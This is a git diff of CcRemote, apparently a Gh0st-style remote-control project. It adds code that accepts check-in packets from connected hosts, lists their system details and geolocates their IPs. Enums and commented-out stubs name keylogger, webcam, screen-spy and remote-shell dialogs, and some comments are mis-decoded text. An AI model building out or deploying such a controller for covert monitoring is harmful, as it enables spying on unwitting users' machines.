@@ -430,10 +439,10 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
 void CCcRemoteDlg::Test()
 {
 	ShowMessage(true, "软件初始化成功...");
-	AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
-	AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
-	AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321");
-	AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456");
+	//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
+	//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
+	//AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321");
+	//AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456");
 	
 }
 
@@ -712,4 +721,211 @@ void CCcRemoteDlg::ListenPort()
 	if (nMaxConnection == 0)
 		nMaxConnection = 10000;
 	Activate(nPort, nMaxConnection);             //开始监听
+}
+
+
+void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
+{
+	if (pContext == NULL)
+		return;
+
+	// 如果管理对话框打开,交给相应的对话框处理
+	CDialog	*dlg = (CDialog	*)pContext->m_Dialog[1];      //这里就是ClientContext 结构体的int m_Dialog[2];
+
+	// 交给窗口处理
+	/*if (pContext->m_Dialog[0] > 0)                //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
+	{
+		switch (pContext->m_Dialog[0])
+		{
+		case FILEMANAGER_DLG:
+			((CFileManagerDlg *)dlg)->OnReceiveComplete();
+			break;
+		case SCREENSPY_DLG:
+			((CScreenSpyDlg *)dlg)->OnReceiveComplete();
+			break;
+		case WEBCAM_DLG:
+			((CWebCamDlg *)dlg)->OnReceiveComplete();
+			break;
+		case AUDIO_DLG:
+			((CAudioDlg *)dlg)->OnReceiveComplete();
+			break;
+		case KEYBOARD_DLG:
+			((CKeyBoardDlg *)dlg)->OnReceiveComplete();
+			break;
+		case SYSTEM_DLG:
+			((CSystemDlg *)dlg)->OnReceiveComplete();
+			break;
+		case SHELL_DLG:
+			((CShellDlg *)dlg)->OnReceiveComplete();
+			break;
+		default:
+			break;
+		}
+		return;
+	}*/
+
+	switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])   //如果没有赋值就判断是否是上线包和打开功能功能窗口
+	{                                                           //讲解后回到ClientContext结构体
+	/*case TOKEN_AUTH: // 要求验证
+		m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
+		break;
+	case TOKEN_HEARTBEAT: // 回复心跳包
+		{
+			BYTE	bToken = COMMAND_REPLAY_HEARTBEAT;
+			m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
+		}
+
+		break;*/
+	case TOKEN_LOGIN: // 上线包
+
+	{
+		//这里处理上线
+		if (m_iocpServer->m_nMaxConnections <= g_pPCRemoteDlg->m_CList_Online.GetItemCount())
+		{
+			closesocket(pContext->m_Socket);
+		}
+		else
+		{
+			pContext->m_bIsMainSocket = true;
+			g_pPCRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
+		}
+		// 激活
+		BYTE	bToken = COMMAND_ACTIVED;
+		m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
+	}
+
+	break;
+	/*case TOKEN_DRIVE_LIST: // 驱动器列表
+		// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
+		g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
+		break;
+	case TOKEN_BITMAPINFO: //
+		// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
+		g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
+		break;
+	case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
+		g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
+		break;
+	case TOKEN_AUDIO_START: // 语音
+		g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
+		break;
+	case TOKEN_KEYBOARD_START:
+		g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
+		break;
+	case TOKEN_PSLIST:
+		g_pConnectView->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
+		break;
+	case TOKEN_SHELL_START:
+		g_pConnectView->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
+		break;*/
+		// 命令停止当前操作
+	default:
+		closesocket(pContext->m_Socket);
+		break;
+	}
+}
+
+
+LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
+{
+	CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing;
+	
+	//注意这里的  ClientContext  正是发送数据时从列表里取出的数据
+	ClientContext	*pContext = (ClientContext *)lParam;    
+	if (pContext == NULL)
+		return -1;
+
+	CString	strToolTipsText;
+	try
+	{
+		//int nCnt = m_pListCtrl->GetItemCount();
+
+		// 不合法的数据包
+		if (pContext->m_DeCompressionBuffer.GetBufferLen() != sizeof(LOGININFO))
+			return -1;
+
+		LOGININFO*	LoginInfo = (LOGININFO*)pContext->m_DeCompressionBuffer.GetBuffer();
+
+		// ID
+		//CString	str;
+		//str.Format("%d", m_nCount++);	
+
+		// IP地址
+		//int i = m_pListCtrl->InsertItem(nCnt, str, 15);
+
+		// 外网IP
+
+		sockaddr_in  sockAddr;
+		memset(&sockAddr, 0, sizeof(sockAddr));
+		int nSockAddrLen = sizeof(sockAddr);
+		BOOL bResult = getpeername(pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
+		CString IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
+		//m_pListCtrl->SetItemText(i, 1, IPAddress);
+		strIP = IPAddress;
+
+		// 内网IP
+		//m_pListCtrl->SetItemText(i, 2, inet_ntoa(LoginInfo->IPAddress));
+		//strAddr=inet_ntoa(LoginInfo->IPAddress);
+		// 主机名
+		//m_pListCtrl->SetItemText(i, 3, LoginInfo->HostName);
+		strPCName = LoginInfo->HostName;
+		// 系统
+
+		////////////////////////////////////////////////////////////////////////////////////////
+		// 显示输出信息
+		char *pszOS = NULL;
+		switch (LoginInfo->OsVerInfoEx.dwPlatformId)
+		{
+
+		case VER_PLATFORM_WIN32_NT:
+			if (LoginInfo->OsVerInfoEx.dwMajorVersion <= 4)
+				pszOS = "NT";
+			if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0)
+				pszOS = "2000";
+			if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 1)
+				pszOS = "XP";
+			if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 2)
+				pszOS = "2003";
+			if (LoginInfo->OsVerInfoEx.dwMajorVersion == 6 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0)
+				pszOS = "Vista";  // Just Joking
+		}
+		strOS.Format
+		(
+			"%s SP%d (Build %d)",
+			//OsVerInfo.szCSDVersion,
+			pszOS,
+			LoginInfo->OsVerInfoEx.wServicePackMajor,
+			LoginInfo->OsVerInfoEx.dwBuildNumber
+		);
+		//m_pListCtrl->SetItemText(i, 4, strOS);
+
+		// CPU
+		strCPU.Format("%dMHz", LoginInfo->CPUClockMhz);
+		//m_pListCtrl->SetItemText(i, 5, str);
+
+		// Speed
+		strPing.Format("%d", LoginInfo->dwSpeed);
+		//m_pListCtrl->SetItemText(i, 6, str);
+
+
+		strVideo = LoginInfo->bIsWebCam ? "有" : "--";
+		//m_pListCtrl->SetItemText(i, 7, str);
+
+		strToolTipsText.Format("New Connection Information:\nHost: %s\nIP  : %s\nOS  : Windows %s", LoginInfo->HostName, IPAddress, strOS);
+
+		if (((CCcRemoteApp *)AfxGetApp())->m_bIsQQwryExist)
+		{
+
+			strAddr = m_QQwry->IPtoAdd(IPAddress);
+
+			//strToolTipsText += "\nArea: ";
+			//strToolTipsText += str;
+		}
+		// 指定唯一标识
+		//m_pListCtrl->SetItemData(i, (DWORD) pContext);    //这里将服务端的套接字等信息加入列表中保存
+		AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
+	}
+	catch (...) {}
+
+	return 0;
 }
\ No newline at end of file
diff --git a/CcRemote/CcRemote/CcRemoteDlg.h b/CcRemote/CcRemote/CcRemoteDlg.h
index a39a29f..d5a26c0 100644
--- a/CcRemote/CcRemote/CcRemoteDlg.h
+++ b/CcRemote/CcRemote/CcRemoteDlg.h
@@ -4,6 +4,7 @@
 #include "TrueColorToolBar.h"
 #include "PublicStruct.h"
 #include "include/IOCPServer.h"
+#include "SEU_QQwry.h"
 #pragma once
 
 
@@ -43,6 +44,7 @@ public:
 
 private:
 	//--------------变量及常量----------------
+	SEU_QQwry *m_QQwry;
 	int m_OnlineCount;//上线计数
 	CBrush m_brush;//绘色函数
 	CMenu popup;//LIST菜单变量
@@ -79,7 +81,7 @@ private:
 	void InitStatusBar();//初始化状态控件
 	void InitToolBar();//初始化工具条按钮控件
 	void InitSystemMenu();//初始化系统托盘菜单
-	void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing);
+	void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
 	void ShowMessage(bool bIsOK, CString strMsg);//显示日志
 	void Test();
 
@@ -88,10 +90,11 @@ private:
 	static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
 	void Activate(UINT nPort, UINT nMaxConnections);//监听端口
 
+	static void ProcessReceiveComplete(ClientContext *pContext);
 public:
 	//-------------自定义消息处理-------------
 	afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
-
+	afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
 
 	//-------------系统消息处理-------------
 	afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
@@ -109,5 +112,5 @@ public:
 	afx_msg void OnMainClose();
 	afx_msg void OnMainBuild();
 	afx_msg void OnMainAbout();
-	afx_msg void OnClose();
+	afx_msg void OnClose(); 
 };
diff --git a/CcRemote/CcRemote/PublicStruct.h b/CcRemote/CcRemote/PublicStruct.h
index 09352f5..c2ef9bb 100644
--- a/CcRemote/CcRemote/PublicStruct.h
+++ b/CcRemote/CcRemote/PublicStruct.h
@@ -25,3 +25,44 @@ enum
 	UM_ICONNOTIFY = WM_USER + 0x100,
 };
 
+enum
+{
+	WM_CLIENT_CONNECT = WM_APP + 0x1001,
+	WM_CLIENT_CLOSE,
+	WM_CLIENT_NOTIFY,
+	WM_DATA_IN_MSG,
+	WM_DATA_OUT_MSG,
+
+
+	WM_ADDTOLIST = WM_USER + 102,	// ���ӵ��б���ͼ��
+	WM_REMOVEFROMLIST,				// ���б���ͼ��ɾ��
+	WM_OPENMANAGERDIALOG,			// ��һ���ļ���������
+	WM_OPENSCREENSPYDIALOG,			// ��һ����Ļ���Ӵ���
+	WM_OPENWEBCAMDIALOG,			// ������ͷ���Ӵ���
+	WM_OPENAUDIODIALOG,				// ��һ��������������
+	WM_OPENKEYBOARDDIALOG,			// �򿪼��̼�¼����
+	WM_OPENPSLISTDIALOG,			// �򿪽��̹�������
+	WM_OPENSHELLDIALOG,				// ��shell����
+	WM_RESETPORT,					// �ı�˿�
+	//////////////////////////////////////////////////////////////////////////
+	FILEMANAGER_DLG = 1,
+	SCREENSPY_DLG,
+	WEBCAM_DLG,
+	AUDIO_DLG,
+	KEYBOARD_DLG,
+	SYSTEM_DLG,
+	SHELL_DLG
+};
+
+
+typedef struct
+{
+	BYTE			bToken;			// = 1
+	OSVERSIONINFOEX	OsVerInfoEx;	// �汾��Ϣ
+	int				CPUClockMhz;	// CPU��Ƶ
+	IN_ADDR			IPAddress;		// �洢32λ��IPv4�ĵ�ַ���ݽṹ
+	char			HostName[50];	// ������
+	bool			bIsWebCam;		// �Ƿ�������ͷ
+	DWORD			dwSpeed;		// ����
+}LOGININFO;
+
diff --git a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log
index e6915e7..9160259 100644
--- a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log
+++ b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log
@@ -1,21 +1,12 @@
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
-g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
-g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
-g:\ccremote\ccremote\ccremote\release\ccremote.exe
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
-g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
+f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch
+f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb
+f:\myapp\ccremote\ccremote\ccremote\release\pch.obj
+f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
+f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
+f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj
+f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj
+f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj
+f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj
+f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
+f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
+f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
diff --git a/CcRemote/CcRemote/Release/CcRemote.log b/CcRemote/CcRemote/Release/CcRemote.log
index 158b9af..0a02200 100644
--- a/CcRemote/CcRemote/Release/CcRemote.log
+++ b/CcRemote/CcRemote/Release/CcRemote.log
@@ -1,27 +1,32 @@
-  pch.cpp
+C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。  此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
+  pch.cpp
   CcRemote.cpp
   CcRemoteDlg.cpp
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(148): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(153): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(294): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(311): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
+f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(157): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(162): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
+f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(303): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
+f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(320): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
+f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(783): warning C4018: “<=”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(862): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
   CSettingDlg.cpp
   CpuUsage.cpp
   IniFile.cpp
-g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+  SEU_QQwry.cpp
   TrueColorToolBar.cpp
   Buffer.cpp
   IOCPServer.cpp
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
+f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
+f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配
   正在生成代码
-  All 405 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
+  All 436 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
   已完成代码的生成
-  CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Release\CcRemote.exe
+  CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
diff --git a/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate b/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate
index cb3e57d..346638a 100644
--- a/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate
+++ b/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate
@@ -1,2 +1,2 @@
 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Release|Win32|G:\CcRemote\CcRemote\CcRemote\|
+Release|Win32|F:\myapp\CcRemote\CcRemote\|
diff --git a/CcRemote/CcRemote/SEU_QQwry.cpp b/CcRemote/CcRemote/SEU_QQwry.cpp
new file mode 100644
index 0000000..b6a8ff4
--- /dev/null
+++ b/CcRemote/CcRemote/SEU_QQwry.cpp
@@ -0,0 +1,436 @@
+/*********************************************************************
+* SEU_QQwry.cpp
+*
+* �����ռ�����
+*
+* ˵��:����IP���ݿ� QQWry.dat�IJ�����
+* 
+* ���ִ�����Դ������,���������ʹ��,�������޸�.���Dz���������ҵ��;
+*********************************************************************/
+
+#include "pch.h"
+#include "SEU_QQwry.h"
+
+#ifdef _DEBUG
+#undef THIS_FILE
+static char THIS_FILE[]=__FILE__;
+#define new DEBUG_NEW
+#endif
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+SEU_QQwry::SEU_QQwry()
+{
+}
+
+SEU_QQwry::~SEU_QQwry()
+{
+	CloseQQwry();
+}
+
+/*********************************************************************
+* OpenQQwry(CString szFileName)
+*
+* ������IP���ݿ��ļ��ĺ�������
+*
+* ˵��:һ���QQWry.dat�ļ�
+*********************************************************************/
+bool SEU_QQwry::OpenQQwry(CString szFileName)
+{
+	if(!m_file.Open(szFileName,CFile::modeRead|CFile::typeBinary|CFile::shareDenyNone))
+		return false;
+	else
+		return true;
+}
+
+void SEU_QQwry::CloseQQwry()
+{
+	if(m_bOpen)m_file.Close();
+}
+
+bool SEU_QQwry::GetBE()
+{
+	if(!m_bOpen)return false;
+	m_file.Seek(0,CFile::begin);
+	if(m_file.Read(&m_be,sizeof(BE))>0)
+		return true;
+	else
+		return false;
+}
+
+/*********************************************************************
+* GetStartIPInfo(int iIndex)
+*
+* ��������IP�������õ��ö�IP������IP�ε���ʼIP
+*
+* ˵��:
+*********************************************************************/
+int SEU_QQwry::GetStartIPInfo(int iIndex)
+{
+	BYTE buf[MAXBUF];
+	int ioff;
+	if(!m_bOpen) return 0;
+	ioff=m_be.uBOff+iIndex*7;
+	if(ioff>m_be.uEOff) return 0;
+	m_file.Seek(m_be.uBOff+iIndex*7,CFile::begin);
+	m_file.Read(&m_ipoff,sizeof(IPOFF));
+	ioff=(m_ipoff.off1+m_ipoff.off2*256+m_ipoff.off3*256*256);
+	m_file.Seek(ioff,CFile::begin);
+	m_file.Read(&m_ei,sizeof(EndInfo));
+
+	if(m_ei.buf[0]!=1 &&  m_ei.buf[0]!=2)
+	{
+		m_ei.bMode=1;//û����
+		for(int i=0;i<MAXBUF;i++)
+		{
+			if(m_ei.buf[i]==0)
+			{
+				if(m_ei.buf[i+1]==2)
+				{
+					m_ei.bMode=2;//Local ��
+					m_ei.offset1=m_ei.buf[i+2]+
+						m_ei.buf[i+3]*256+
+						m_ei.buf[i+4]*256*256;
+				}
+				break;
+			}
+		}
+	}
+	else if(m_ei.buf[0]==2)
+	{
+		m_ei.bMode=3;//Country �� local����
+		m_ei.offset1=m_ei.buf[1]+m_ei.buf[2]*256+m_ei.buf[3]*256*256;
+		if(m_ei.buf[4]!=2)
+		{
+			m_ei.bMode=3;
+		}
+		else
+		{
+			m_ei.bMode=4;//Country�� local��
+			m_ei.offset2=m_ei.buf[5]+m_ei.buf[6]*256+m_ei.buf[7]*256*256;
+		}
+	}
+	else if(m_ei.buf[0]==1)
+	{
+		m_ei.offset1=m_ei.buf[1]+m_ei.buf[2]*256+m_ei.buf[3]*256*256;
+		m_file.Seek(m_ei.offset1,CFile::begin);
+		m_file.Read(buf,MAXBUF);
+		memcpy(m_ei.buf,buf,MAXBUF);
+		m_ei.bMode=0;
+		if(m_ei.buf[0]!=2)
+		{
+			for(int i=0;i<MAXBUF;i++)
+			{
+				if(m_ei.buf[i]==0)
+				{
+					if(m_ei.buf[i+1]!=2)
+					{
+						m_ei.bMode=5;//1 û����
+					}
+					else
+					{
+						m_ei.bMode=6;//1 Country���� Local ��
+						m_ei.offset2=m_ei.buf[i+2]+
+							m_ei.buf[i+3]*256+
+							m_ei.buf[i+4]*256*256;
+					}
+					break;
+				}
+			}
+		}
+		else
+		{
+			
+			if(m_ei.buf[4]!=2)
+			{
+				m_ei.bMode=7;// 1 Country�� Local����
+				m_ei.offset2=m_ei.buf[1]+
+							m_ei.buf[2]*256+
+							m_ei.buf[3]*256*256;
+
+			}
+			else
+			{
+				m_ei.bMode=8;// 1 Country�� Local��
+				m_ei.offset1=m_ei.buf[1]+
+					m_ei.buf[2]*256+
+					m_ei.buf[3]*256*256;
+				m_ei.offset2=m_ei.buf[5]+
+					m_ei.buf[6]*256+
+					m_ei.buf[7]*256*256;
+			}
+		}
+	}
+	return ioff;
+}
+
+int SEU_QQwry::GetRecordCount(void)//�õ��ܵ�IP��¼��
+{
+	if(!m_bOpen) return 0;
+	if((m_be.uEOff-m_be.uBOff)<0) return 0;
+	return (m_be.uEOff-m_be.uBOff)/7+1;
+}
+
+CString SEU_QQwry::GetStr(int ioffset)//����λ�ö���Ϣ
+{
+	if(ioffset>m_be.uEOff) return "";
+	BYTE ch;
+	CString buf="";
+	m_file.Seek(ioffset,CFile::begin);
+	int i=0;
+	while(1)
+	{
+		m_file.Read(&ch,1);
+		if(ch==0)
+			break;
+		buf+=ch;
+		i++;
+		if(i>50)break;
+	}
+	return buf;
+}
+
+
+/*********************************************************************
+* GetCountryLocal(int index)
+*
+* ���������õ���ַ
+*
+* ˵��:
+*********************************************************************/
+CString SEU_QQwry::GetCountryLocal(int index)
+{
+	if(index<0 || index>GetRecordCount()-1)
+		return "û�в鵽�����Ϣ";
+	return GetCountryLocal(m_ei.bMode,GetStartIPInfo(index)+4);
+}
+
+CString SEU_QQwry::GetCountryLocal(BYTE bMode,int ioffset)
+{
+	CString buf="";
+	if(bMode==1)//X û����
+	{
+		buf=GetStr(ioffset);
+		buf+=" ";
+		buf+=GetStr();
+	}
+	if(bMode==2)//X Country���� Local ��
+	{
+		buf=GetStr(ioffset);
+		buf+=" ";
+		buf+=GetStr(m_ei.offset1);
+	}
+	if(bMode==3)//2 Country�� local����
+	{
+		buf=GetStr(m_ei.offset1);
+		buf+=" ";
+		buf+=GetStr(ioffset+4);
+	}
+
+	if(bMode==4)//2 Country�� local��
+	{
+		buf=GetStr(m_ei.offset1);
+		buf+=" ";
+		buf+=GetStr(m_ei.offset2);
+	}
+
+	if(bMode==5)//1 û����
+	{
+		buf=GetStr(m_ei.offset1);
+		buf+=" ";
+		buf+=GetStr();
+	}
+
+	if(bMode==6)//1 Country���� Local ��
+	{
+		buf=GetStr(m_ei.offset1);
+		buf+=" ";
+		buf+=GetStr(m_ei.offset2);
+	}
+	if(bMode==7)//1 Country�� Local ����
+	{
+		buf=GetStr(m_ei.offset2);
+		buf+=" ";
+		buf+=GetStr(m_ei.offset1+4);
+	}
+	if(bMode==8)//1 Country�� Local��
+	{
+		buf=GetStr(m_ei.offset1);
+		buf+=" ";
+		buf+=GetStr(m_ei.offset2);
+	}
+	return buf;
+}
+
+CString SEU_QQwry::GetStr()
+{
+	BYTE ch;
+	CString buf="";
+	int i=0;
+	while(1)
+	{ 
+		m_file.Read(&ch,1);
+		if(ch==0)
+			break;
+		buf+=ch;
+		i++;
+		if(i>50)break;
+	}
+	return buf;
+}
+
+/*********************************************************************
+* SaveToFile()
+*
+* ����������Ϣ���ļ�
+*
+* ˵��:
+*********************************************************************/
+void SEU_QQwry::SaveToFile(CString Name)
+{
+	CString str1,str2;
+	DWORD	dwBytesWrite;
+	HANDLE hFile = INVALID_HANDLE_VALUE;
+	hFile = CreateFile(Name+".txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
+		CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+	if (hFile == INVALID_HANDLE_VALUE)
+		return;
+	int ioff;
+	m_buf.Format("Total %d\r\n",GetRecordCount());//�õ��ܼ�¼
